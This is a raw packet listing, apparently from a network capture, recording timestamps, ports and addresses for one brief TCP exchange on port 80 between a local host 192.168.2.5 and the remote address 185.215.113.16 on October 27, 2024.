Oct 27, 2024 17:17:26.686018944 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.686022997 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686058044 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686105967 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686136007 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.686139107 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686165094 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.686171055 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686203003 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686213017 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.686254978 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686289072 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686321974 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686336994 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.686371088 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686387062 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.686400890 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686436892 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686470985 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686502934 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686530113 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.686537027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686563969 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686590910 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.686598063 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686629057 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686657906 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.686665058 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.686826944 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.727375031 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.727427006 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.727468967 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.727482080 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.730242014 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.730277061 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.730298996 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.730312109 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.730364084 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.732068062 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.732098103 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.732132912 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.732144117 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.732189894 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.732218981 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.732265949 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.732270002 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.732300043 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.732332945 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.732345104 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.732367039 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.732393026 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.763418913 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.763470888 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.763509989 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.763514042 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.763613939 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.802496910 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.802531004 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.802551031 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.802567005 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.802583933 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.802615881 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.802664995 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.802758932 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.802773952 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.802791119 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.802812099 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.802846909 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.802898884 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.802913904 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.802928925 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.802957058 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.803030968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803046942 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803061962 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803078890 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803090096 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.803095102 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803112984 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803122044 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.803127050 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803189993 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.803190947 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.803242922 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803258896 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803273916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803288937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803298950 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.803304911 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803333044 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803344965 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.803349018 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803364038 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803376913 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.803380966 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803419113 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803425074 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.803435087 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803462982 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.803494930 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803510904 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803527117 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803541899 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803566933 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.803566933 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.803647995 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.803719997 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.804092884 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804106951 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804121971 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804162979 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.804198027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804214001 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804229021 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804244041 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804271936 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.804306030 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804313898 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.804322004 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804338932 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804354906 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804371119 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804387093 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804404020 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804418087 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804429054 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.804429054 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.804435968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804451942 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804460049 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.804466963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804472923 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.804482937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804496050 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804510117 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804523945 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804523945 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.804538965 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804546118 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.804620028 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.804652929 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804667950 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804683924 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804707050 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.804773092 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.804781914 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804797888 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804812908 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804828882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.804850101 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.804908991 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.844765902 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.844801903 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.844835997 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.844872952 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.847711086 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.847740889 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.847763062 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.847775936 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.847822905 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.847840071 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.849653959 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.849703074 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.849704981 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.849757910 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.849802971 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.849808931 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.849843979 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.849878073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.849888086 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.849912882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.849945068 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.849956989 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.881381035 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.881448030 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.881453991 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.881479025 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.881511927 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.881545067 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.920439005 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.920481920 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.920538902 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.920567036 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.920573950 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.920582056 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.920609951 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.920694113 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.021543026 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.025582075 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.027010918 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.027091026 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.027127028 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.027158976 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.027162075 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.027354002 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.031531096 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.031601906 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.031636000 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.031670094 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.031686068 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.031719923 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.031768084 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.031800985 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.031830072 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.031851053 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.031883955 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.031915903 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.031949997 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.031954050 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032005072 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032035112 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.032037973 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032068014 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.032087088 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032135963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032183886 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032221079 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.032237053 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032286882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032308102 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.032320976 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032350063 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.032351971 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032402992 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032433033 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.032434940 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032468081 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032496929 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.032499075 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032535076 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032550097 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.032569885 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032603025 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032635927 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032670021 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032701015 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.032701969 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032736063 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032763004 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.032768011 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032799959 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032833099 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032860994 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.032885075 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032917976 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032948017 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.032949924 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.032977104 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.032999039 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033046961 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033077955 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033106089 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.033112049 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033143997 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033173084 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.033193111 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033226967 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.033226967 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033276081 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033324003 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033358097 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033386946 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.033390999 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033423901 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033435106 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.033456087 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033488035 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033518076 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.033524036 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033556938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033585072 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.033588886 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033621073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033648014 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.033653021 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033687115 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033718109 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.033718109 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033751011 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033782959 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033790112 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.033814907 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033847094 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033879042 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033906937 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.033911943 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033945084 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033977032 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.033977985 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.034009933 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.034043074 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.034075975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.034106970 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.034110069 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.037763119 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.037812948 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.037844896 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.037846088 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.037878036 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.037879944 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.037914038 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.037942886 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.037946939 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038048983 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.038188934 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038307905 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038337946 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038372040 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038400888 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.038404942 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038454056 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038484097 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.038486958 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038518906 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.038522005 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038572073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038580894 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.038604021 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038635969 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038685083 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038733959 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038762093 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038763046 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.038794041 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038822889 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.038841963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038872957 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038903952 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.038906097 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038938999 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.038968086 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.038992882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.039030075 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.039060116 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.039063931 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.039096117 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.039124966 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.039128065 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.039155960 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.039186001 CET	49714	80	192.168.2.5	185.215.113.16
